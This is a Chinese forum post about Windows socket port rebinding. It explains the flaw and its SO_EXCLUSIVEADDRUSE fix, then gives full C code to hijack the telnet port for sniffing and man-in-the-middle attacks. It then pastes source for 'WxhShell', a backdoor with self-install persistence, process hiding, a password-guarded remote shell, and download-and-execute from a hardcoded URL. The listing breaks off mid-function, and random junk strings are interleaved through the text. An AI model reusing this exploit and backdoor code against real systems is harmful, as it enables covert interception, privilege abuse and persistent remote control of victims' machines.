社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 14318阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: @}9*rWJIE  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); W5i{W'  
rtM29~c>@  
  saddr.sin_family = AF_INET; m\*;Fx  
f2h`bO  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Ln-UN$2~F  
;OC~,?O5  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); oZ]^zzoEcg  
Z4ekBdmCL  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 (F=/r] Q  
A-"2sp*t  
  这意味着什么?意味着可以进行如下的攻击: iA.:{^_)09  
YQ? "~[mL  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 h]6m+oPW  
j(aok5:e  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) e^!>W %.7Z  
6&oaxAp<s  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 <Wr n/%tL  
I{nrOb1G(  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  >wSrllmj@  
! 2=m |,  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ]?p 9)d=%<  
%Z~0vwY  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &VPfI  
B`<a~V  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ]mzghH:E  
Mo'6<"x  
  #include 9U]3B)h%m  
  #include r..&6-%:N  
  #include m!Y4+KTwD`  
  #include    mETGYkPUa  
  DWORD WINAPI ClientThread(LPVOID lpParam);   C[ma!he  
  int main() <@.!\  
  { \u4`6EYF?  
  WORD wVersionRequested; yC&u^{~BC  
  DWORD ret; zrDcO~w  
  WSADATA wsaData; =Ju%3ptH0  
  BOOL val; q%S^3C&  
  SOCKADDR_IN saddr; aHR+4m~)  
  SOCKADDR_IN scaddr; evSr?ys  
  int err; } "QL"%  
  SOCKET s; ,vDSY N6  
  SOCKET sc; /Fj*sS8  
  int caddsize; O'rz  
  HANDLE mt; ,gO(zI-1  
  DWORD tid;   >mAi/TZC  
  wVersionRequested = MAKEWORD( 2, 2 ); ew+>?a'&L  
  err = WSAStartup( wVersionRequested, &wsaData ); m'n<.1;1{j  
  if ( err != 0 ) { YMG~k3Yb  
  printf("error!WSAStartup failed!\n"); X_HU?Q_N  
  return -1; 'Lu d=u{  
  } f|+aa6hN  
  saddr.sin_family = AF_INET; sq rY<@%  
   S7v# `#  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 }'`iJ b\  
SD  _P=?  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); h"}c_l Y9  
  saddr.sin_port = htons(23); V=d~}PJ>  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~'#yH#o  
  { A)9F_;BY  
  printf("error!socket failed!\n"); `g+Kv&546  
  return -1; =D3K})&  
  } 2F&VG|"  
  val = TRUE; 9Zj9e  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 2rGg  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 4k_y;$4WN  
  { [gaB}aLn  
  printf("error!setsockopt failed!\n"); j&-<e7O=  
  return -1; }PUY~ u  
  } a7U`/*  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 0/5{v6_rG  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 d_1uv_P  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 {Gvv^.H7  
IkP; i_|  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) `E2RW{$A  
  { Oa-(Xp,n#  
  ret=GetLastError(); Ghf/IXq#  
  printf("error!bind failed!\n"); Y3.^a5o  
  return -1; _{2/QP}  
  } AfT;IG%Gt  
  listen(s,2); fB= j51Lw  
  while(1) 4^GIQEjx  
  { "1wjh=@z  
  caddsize = sizeof(scaddr); .b|!FWHNS  
  //接受连接请求 q[TGEgG  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); D KRF#*[=d  
  if(sc!=INVALID_SOCKET) i%GNm D  
  { yPoa04!{=  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); e_+SBN1`P&  
  if(mt==NULL) 4N(iow4  
  { Dqg01_O9O  
  printf("Thread Creat Failed!\n"); T+j-MR}{\  
  break; VQ7A"&hh  
  } je;|zfe]  
  } ^wlo;.8Y  
  CloseHandle(mt); ,1 ^IFBJ  
  } K3^2;j1F Q  
  closesocket(s); *&BS[0;  
  WSACleanup(); )|,Zp`2/  
  return 0; rVM?[_'O  
  }   *J3Z.fq%:i  
  DWORD WINAPI ClientThread(LPVOID lpParam) 'FM_5`&  
  { 2l}H=DZV  
  SOCKET ss = (SOCKET)lpParam; Oj1B @QE  
  SOCKET sc; r7+Ytr  
  unsigned char buf[4096]; 9jI5bi)  
  SOCKADDR_IN saddr; b^q%p1  
  long num; E?(:9#02  
  DWORD val; E_H.!pr  
  DWORD ret; D[0g0>K  
  //如果是隐藏端口应用的话,可以在此处加一些判断 |.?$:D&6  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   UO( ?EELm  
  saddr.sin_family = AF_INET; SnVb D<  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ~o27~R ]  
  saddr.sin_port = htons(23); .#{m1mr  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) xM:9XhH1  
  { &PUn,9 Rm  
  printf("error!socket failed!\n"); M*Ri1   
  return -1; YP`/dX"4  
  } FO:k >F  
  val = 100; ;m~%57.;\  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ipD/dx.  
  { a8 .x=j<  
  ret = GetLastError(); ]$)U~)T iW  
  return -1; =gAn;~  
  } dmYgv^t  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Z#zXary5s  
  { E`b<^l`  
  ret = GetLastError(); Ey&gZ$|&  
  return -1; i4\DSQJ  
  } G O[u  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 'MQJt2QU9{  
  { *6wt+twH  
  printf("error!socket connect failed!\n"); A5^tus/y  
  closesocket(sc); !'(QF9%Q  
  closesocket(ss); -eFq^KP2  
  return -1; )E c /5=A  
  } a{\<L/\  
  while(1) mJ'5!G  
  { (/jZ &4T  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ]6].l$%z#  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 %I#[k4,N  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 rnP *}  
  num = recv(ss,buf,4096,0); Gj&`+!\  
  if(num>0) S\0?~l"}  
  send(sc,buf,num,0); 'wjL7P I  
  else if(num==0) r:5u(2  
  break; $H"(]>~  
  num = recv(sc,buf,4096,0); fzr0dcNgM  
  if(num>0) >k8FUf(c  
  send(ss,buf,num,0); lNx:_g:SrZ  
  else if(num==0) *n_7~ZX  
  break; |W*i'E   
  } Vi>`g{\  
  closesocket(ss); evlz R/  
  closesocket(sc); uF\ ;m.  
  return 0 ; c^7QiTt_  
  } z4rg.ai  
<|;)iT1VeT  
;v m$F251  
========================================================== F/:Jp3@  
S8Yti  
下边附上一个代码,,WXhSHELL M,g$  
EttQ<z_T  
========================================================== ; mwU>l,4  
k? !'OHmBL  
#include "stdafx.h" s!?T$@a=  
B`?5G\7L  
#include <stdio.h> W+BHt{  
#include <string.h> Fjw+D1q.  
#include <windows.h> e VRjU  
#include <winsock2.h> '5}@# Mi  
#include <winsvc.h> jd+ U+8r  
#include <urlmon.h> @QAI 0ZY  
Pk^W+M_)~  
#pragma comment (lib, "Ws2_32.lib") +&.wc;mi  
#pragma comment (lib, "urlmon.lib") :y^%I xs{1  
?dY|,_O  
#define MAX_USER   100 // 最大客户端连接数 1Wb_>`;  
#define BUF_SOCK   200 // sock buffer h[oI/X  
#define KEY_BUFF   255 // 输入 buffer VH6J @m  
A;7At!kK  
#define REBOOT     0   // 重启 tjbI*Pw7(  
#define SHUTDOWN   1   // 关机 iJ p E`  
_e$T'*q  
#define DEF_PORT   5000 // 监听端口 q]wP^;\Jl  
F1NYpCR  
#define REG_LEN     16   // 注册表键长度 qHE(p+]E  
#define SVC_LEN     80   // NT服务名长度 ?U(`x6\:  
nE=,=K~  
// 从dll定义API A;gU@8m  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Mcqym8,q|3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :NXM.@jJ="  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); et}%E9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); i7foZ\btFc  
kGW4kuh)/q  
// wxhshell配置信息 /yFs$t >9  
struct WSCFG { DgKe!w$  
  int ws_port;         // 监听端口 6Jd.Eg ~A7  
  char ws_passstr[REG_LEN]; // 口令 N.?)s.D(  
  int ws_autoins;       // 安装标记, 1=yes 0=no hi^t zpy  
  char ws_regname[REG_LEN]; // 注册表键名 o$k9$H>Na  
  char ws_svcname[REG_LEN]; // 服务名 u9D#5NvGs  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ':DLv{R  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %)sG 34  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 O^sOv!!RH/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no xMHu:,ND  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" iDV. C@   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 tVhf1TH#  
0%"sOth  
}; Q3 yW#eD  
#9(L/)^  
// default Wxhshell configuration ev9ltl{  
struct WSCFG wscfg={DEF_PORT, %SJFuw"  
    "xuhuanlingzhe", 1Y{pf]5Wx  
    1, MT{ovDA].  
    "Wxhshell", yR[htD`  
    "Wxhshell", #SqU>R  
            "WxhShell Service", I3d!!L2ma  
    "Wrsky Windows CmdShell Service", !uSG 1j" y  
    "Please Input Your Password: ", WO{E T  
  1, evGUl~</~  
  "http://www.wrsky.com/wxhshell.exe", ;ji[ "b  
  "Wxhshell.exe" PiF&0;  
    }; agj_l}=gO  
UzT"Rb:e  
// 消息定义模块 eKW^\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "RLv{D<)J,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; < m/@_"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 10{zF_9yx  
char *msg_ws_ext="\n\rExit."; )=%TIkeF  
char *msg_ws_end="\n\rQuit."; :Hq#co  
char *msg_ws_boot="\n\rReboot..."; Ih^ziDcW  
char *msg_ws_poff="\n\rShutdown..."; Q<T+t0G\O-  
char *msg_ws_down="\n\rSave to "; 9;R'Xo=y  
tWaM+W  
char *msg_ws_err="\n\rErr!"; H,0Io  
char *msg_ws_ok="\n\rOK!"; Xsd+5="{N  
1s6L]&B  
char ExeFile[MAX_PATH]; WnL7 A:sZ  
int nUser = 0; uO5y{O2W  
HANDLE handles[MAX_USER]; l'twy$V4|~  
int OsIsNt; f8S!FGiNc  
;%!]C0 ?  
SERVICE_STATUS       serviceStatus; $HP<C>^Z8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; VRD:PVz  
z~Is E8  
// 函数声明  |: ,i  
int Install(void); CJe~>4BT  
int Uninstall(void); 4^_'LiX3[  
int DownloadFile(char *sURL, SOCKET wsh); ;3Z6K5z*f  
int Boot(int flag); %JPBD]&M  
void HideProc(void); x@? YS  
int GetOsVer(void); =H;F{J "  
int Wxhshell(SOCKET wsl); !pxOhO.V  
void TalkWithClient(void *cs); {3eg4j.Z  
int CmdShell(SOCKET sock); fzZ`O{$8  
int StartFromService(void); !z2KQ 4C  
int StartWxhshell(LPSTR lpCmdLine); xP-\)d-.aN  
pYz\GSd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); N;R I A  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +{L=cWA"  
S,vh  
// 数据结构和表定义 U o[\1)  
SERVICE_TABLE_ENTRY DispatchTable[] = ZK5 wZU  
{ 5F$~ZDu  
{wscfg.ws_svcname, NTServiceMain}, HUalD3 \  
{NULL, NULL} F}c}I8Ao  
}; /q5!p0fH*  
;}}k*< Z  
// 自我安装 'q\[aKEX=  
int Install(void) J=6( 4>  
{ KZGy&u >`  
  char svExeFile[MAX_PATH]; rmJ`^6V  
  HKEY key; Y(B3M=j  
  strcpy(svExeFile,ExeFile); Sy"!Q%+ |  
c0QKx=  
// 如果是win9x系统,修改注册表设为自启动 #83pitcc  
if(!OsIsNt) { q!AcM d\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p mUG`8SY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vbEO pYCS  
  RegCloseKey(key); %/w%A:y#&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7UsU03  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #j4RX:T*[  
  RegCloseKey(key); nd~O*-uYg  
  return 0; S#*aB2ZS  
    } M`p[ Zq  
  }  w\y)  
} "Pa  y2  
else { b=XXp`h~a  
r<5i  
// 如果是NT以上系统,安装为系统服务 Y|cj&<o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); gN .n _!  
if (schSCManager!=0) 47!k!cHa  
{ uU/'oZ?  
  SC_HANDLE schService = CreateService Ogu";p(  
  ( %r]V:d+  
  schSCManager, W~j>&PK,?  
  wscfg.ws_svcname, pvhN.z  
  wscfg.ws_svcdisp, '$5Qdaj  
  SERVICE_ALL_ACCESS, 2 2@w:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , n;e.N:p  
  SERVICE_AUTO_START, WSbD."p<  
  SERVICE_ERROR_NORMAL, [oOV@GE  
  svExeFile, a/xnf<(H  
  NULL, N#GMvU#R  
  NULL, 5#~E[dr  
  NULL, )6{,y{5!  
  NULL, x9\]C' *sO  
  NULL  =@! s[  
  ); FD/=uIXH2  
  if (schService!=0) @  \*Zq  
  { MG vp6/Pd  
  CloseServiceHandle(schService); !md1~g$rN  
  CloseServiceHandle(schSCManager); v]y=+* A  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); y wmC>`0p  
  strcat(svExeFile,wscfg.ws_svcname); [:8+ +#KD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ),XDY_9K  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &M7AM"9  
  RegCloseKey(key); v)JS4KS  
  return 0; !q 9PO  
    } @T%8EiV  
  } B-h@\y  
  CloseServiceHandle(schSCManager); UB w*}p  
} ny1Dg$u i2  
} $l_\9J913  
ZMGC@4^F  
return 1; 7{p6&xXx  
} ~p x2kHZ  
lBLL45%BIN  
// 自我卸载 lX64IvG8+o  
int Uninstall(void) `#?]g!  
{ EN5F*s@r  
  HKEY key; g\pLQH  
\m#{ {SGm  
if(!OsIsNt) { 28>/#I9/]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { IQQ>0^Q~  
  RegDeleteValue(key,wscfg.ws_regname); !:Ob3Mq\  
  RegCloseKey(key); *iJ>@ vew  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z@0IvI  
  RegDeleteValue(key,wscfg.ws_regname); w d6+,B  
  RegCloseKey(key); 4e?MthJ>  
  return 0; 7*>,BhF#  
  } K{0 gkORF  
} DDe`Lb%%  
} _8e0vi!~2  
else { H@'u$qr$:  
~:99 )AOM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %*OQH?pyx}  
if (schSCManager!=0) Mp06A.j[  
{ Z6#(83G4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); iN1_ T  
  if (schService!=0) _Uhl4Mh  
  { "Ug+# ;}p$  
  if(DeleteService(schService)!=0) { !-4VGt&c,  
  CloseServiceHandle(schService); o\X|\nUk  
  CloseServiceHandle(schSCManager); x{S2   
  return 0; ,zh_-2^X  
  } T:g%b @  
  CloseServiceHandle(schService); *d:$vaL  
  } 5C-XQS1  
  CloseServiceHandle(schSCManager); zT")!Df>'  
} QObHW[:F  
} 5ljEh -  
V`}u:t7r  
return 1; @zT2!C?^L  
} ak zKX}  
c]NZG n*  
// 从指定url下载文件 1cD  
int DownloadFile(char *sURL, SOCKET wsh) JvYs6u  
{ gnlU  
  HRESULT hr; ;&XC*R+  
char seps[]= "/"; i<*W,D6  
char *token; 4jW <*jM  
char *file; KgXu x-q  
char myURL[MAX_PATH]; k0,]2R  
char myFILE[MAX_PATH]; "Iacs s0;  
jXIVR'n(  
strcpy(myURL,sURL); { T?1v*.[  
  token=strtok(myURL,seps); *mn"G K6  
  while(token!=NULL) 7=a e^GKo  
  { .:=5|0m  
    file=token; Ehq [4}  
  token=strtok(NULL,seps); fa!8+kfi  
  } >^D5D%"  
sLf~o" yb  
GetCurrentDirectory(MAX_PATH,myFILE); l_pf9 !z  
strcat(myFILE, "\\"); Z9j`<VgN  
strcat(myFILE, file); lqvP Dz  
  send(wsh,myFILE,strlen(myFILE),0); . dJBv  
send(wsh,"...",3,0); 4jC7>mE  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); eE@7AM  
  if(hr==S_OK) mt4X  
return 0; czH# ~  
else _z>%h>L|g  
return 1; )gV @6w  
?L6wky{  
} 7h`t-6<!q  
Xt!wO W  
// 系统电源模块 `o21f{1]X&  
int Boot(int flag) AsR}qqG  
{ Wz;@Rl|F  
  HANDLE hToken; y 7z)lBy\  
  TOKEN_PRIVILEGES tkp; %`lLX/4~  
>]kZ2gVt  
  if(OsIsNt) { (V0KmNCW`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); t:n$9WB)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,fvhP $n  
    tkp.PrivilegeCount = 1; s1p<F,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; SDjJ?K  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); omI"xx  
if(flag==REBOOT) { R| XD#bG  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -`5L;cxwk4  
  return 0; FBa- gm<9  
} L$^)QxH7  
else { >J{e_C2ZS  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) zICrp  
  return 0; zb.sh  
} S 9;FD3  
  } Bnw^W _  
  else { <DhuY/o  
if(flag==REBOOT) { 2\CZ"a#[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]PB95%  
  return 0; 7Ac.^rv5  
} jWso'K  
else { MHS|gR.c  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) dRUmC H  
  return 0; H ahA} Q  
} ={50>WXE  
} P>Ru  
;8w CQ  
return 1; N!<X% Ym  
} bVr`a*EM  
lU.aDmy<  
// win9x进程隐藏模块 t-Ble  
void HideProc(void) <g64N  
{ s\(@f4p  
-c#vWuLl  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); c_Iq!MH  
  if ( hKernel != NULL )  ~;uU{TT  
  { /*G bl  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); z6fY_LL  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); yF-`f _  
    FreeLibrary(hKernel); 3dgPP@7d$  
  }  KON^  
Rb0{W]opt+  
return; 1";s #Jq  
} <ka zV<"  
:wfN+g=  
// 获取操作系统版本 4wx{i6  
int GetOsVer(void) NKRm#  
{ >AWWwq -  
  OSVERSIONINFO winfo; @*WrHoa2N  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); W+Ou%uv}S  
  GetVersionEx(&winfo); :\^jIKvZ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) W>u{JgY  
  return 1; ktM7L{Nz  
  else 9TEAM<b;  
  return 0; J\Tu=f)  
} vnqLcNB H  
 3bHB$n  
// 客户端句柄模块 (W#^-*$R  
int Wxhshell(SOCKET wsl) rpEN\S%7P  
{ E9]*!^=/  
  SOCKET wsh; ;8b!T -K  
  struct sockaddr_in client; 3!8u  
  DWORD myID; $5DlCN  
M2nUY`%#v  
  while(nUser<MAX_USER) 9&s>RJ  
{ J 2k4k  
  int nSize=sizeof(client); 28j/K=0(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); vZPBjloT!.  
  if(wsh==INVALID_SOCKET) return 1; =+H,}  
Dy{lgT0k  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :W$- b  
if(handles[nUser]==0) -4obX  
  closesocket(wsh); s<5PsR  
else ViU5l*n;  
  nUser++; <:!:7  
  } PmtXD6p3(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <Vh }d/  
yoM^6o^,D  
  return 0; M3eFG@,  
} T-x}o  
Kp19dp}'b  
// 关闭 socket #P {|7}jk  
void CloseIt(SOCKET wsh) FJFO0Hb6  
{ bd2QQ1[1vh  
closesocket(wsh); !Oi':OQG  
nUser--; -*qoF(/U  
ExitThread(0); <KX+j,4  
} Nl^u A  
o* e'D7  
// 客户端请求句柄 |<%v`*  
void TalkWithClient(void *cs) D#[<N  
{ lkJe7 +s  
5=1Ml50  
  SOCKET wsh=(SOCKET)cs; 4h T!DS  
  char pwd[SVC_LEN]; cGlpJ)'-{  
  char cmd[KEY_BUFF]; 8YQ7XB  
char chr[1]; CD4@0Z+  
int i,j; Z_mQpt|y  
2"WP>>b80  
  while (nUser < MAX_USER) { cI-@nV  
*DvQnj  
if(wscfg.ws_passstr) { i/ PL!'oq  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1/%5pb2\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); onm" 7JsO'  
  //ZeroMemory(pwd,KEY_BUFF); Ql"~ z^L  
      i=0; CtZOIx.;|  
  while(i<SVC_LEN) { \5j#ad  
#$l:%  
  // 设置超时 -] G=Q1 1  
  fd_set FdRead; X2{Aa T*M  
  struct timeval TimeOut; )[ejb?{d  
  FD_ZERO(&FdRead); 8[#EC3  
  FD_SET(wsh,&FdRead); TgKSE1  
  TimeOut.tv_sec=8; V;hO1xfR3&  
  TimeOut.tv_usec=0; Uy@:-NC)kn  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); WT}x Cni  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); un}!&*+  
D'#,%4P,e\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6NQ`IC  
  pwd=chr[0]; @h(Z;  
  if(chr[0]==0xd || chr[0]==0xa) { bk]g}s  
  pwd=0; g!Ui|]BI9  
  break; # hw;aQ  
  } 0 c ]]  
  i++;   `#l1  
    } YD0j&@.  
OyG2Ks"H  
  // 如果是非法用户,关闭 socket yh'*eli  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -J0I2D  
} S|?P#.=GX  
g'2}Y5m$`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @.,'A[D!K  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;D@F  
gUYTVp Vf  
while(1) { a%`L+b5-$  
)~IOsTjI  
  ZeroMemory(cmd,KEY_BUFF); \Qq YH^M  
X]dN1/_  
      // 自动支持客户端 telnet标准   EAE#AB-A  
  j=0; w=^~M[%w  
  while(j<KEY_BUFF) { )( pgJLW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L]l?_#*x  
  cmd[j]=chr[0]; s.a@uR^  
  if(chr[0]==0xa || chr[0]==0xd) { HcrlcxwM\i  
  cmd[j]=0; 4\j1+&W   
  break; 1B$8<NCQ=?  
  } z>b^Ui0  
  j++; # wyjb:Ql  
    } [}4\CWM  
IsjN xBM  
  // 下载文件 rl-#Ez  
  if(strstr(cmd,"http://")) { cfy9wD  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); n^nQrRIp  
  if(DownloadFile(cmd,wsh)) yM7FR);  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "]q0|ZdOwH  
  else z?GtC{L9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uWi pjxS  
  } 99n;%W>  
  else { M0hR]4T  
g!i45]6[Nw  
    switch(cmd[0]) { #%{  
  %}unlSTPP  
  // 帮助 }H/94]~tH  
  case '?': { e0IGx]5i  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); lB7/oa1]>  
    break; iz+,,UH  
  } 2}_^~8  
  // 安装 Z1p%6f`  
  case 'i': { w9Nk8OsL  
    if(Install()) &SPIu,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fxn=+Xgg  
    else gx2v(1?S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AjsjYThV  
    break; CY"i|s  
    } JB!*{{  
  // 卸载 9l,8:%X_  
  case 'r': { .~a8\6t  
    if(Uninstall()) [a.(0YLr'w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YVk +zt~S  
    else sosIu  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .!'rI7Kz'i  
    break; Kr`.q:0GK  
    } 3%u: c]-wF  
  // 显示 wxhshell 所在路径 VeH%E.:  
  case 'p': { .5tXwxad"  
    char svExeFile[MAX_PATH]; '=d y =  
    strcpy(svExeFile,"\n\r"); P<9T.l  
      strcat(svExeFile,ExeFile); )=5*iWe  
        send(wsh,svExeFile,strlen(svExeFile),0); }ee3'LUPX  
    break; -$kbj*b##  
    } 9h<iw\ $'  
  // 重启 iztgk/(+G  
  case 'b': { 89W8cJ$yW  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >n1UK5QD  
    if(Boot(REBOOT)) |=W>4>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [P]M)vJ**  
    else { 3Qp6$m  
    closesocket(wsh); c~6ywuq+M`  
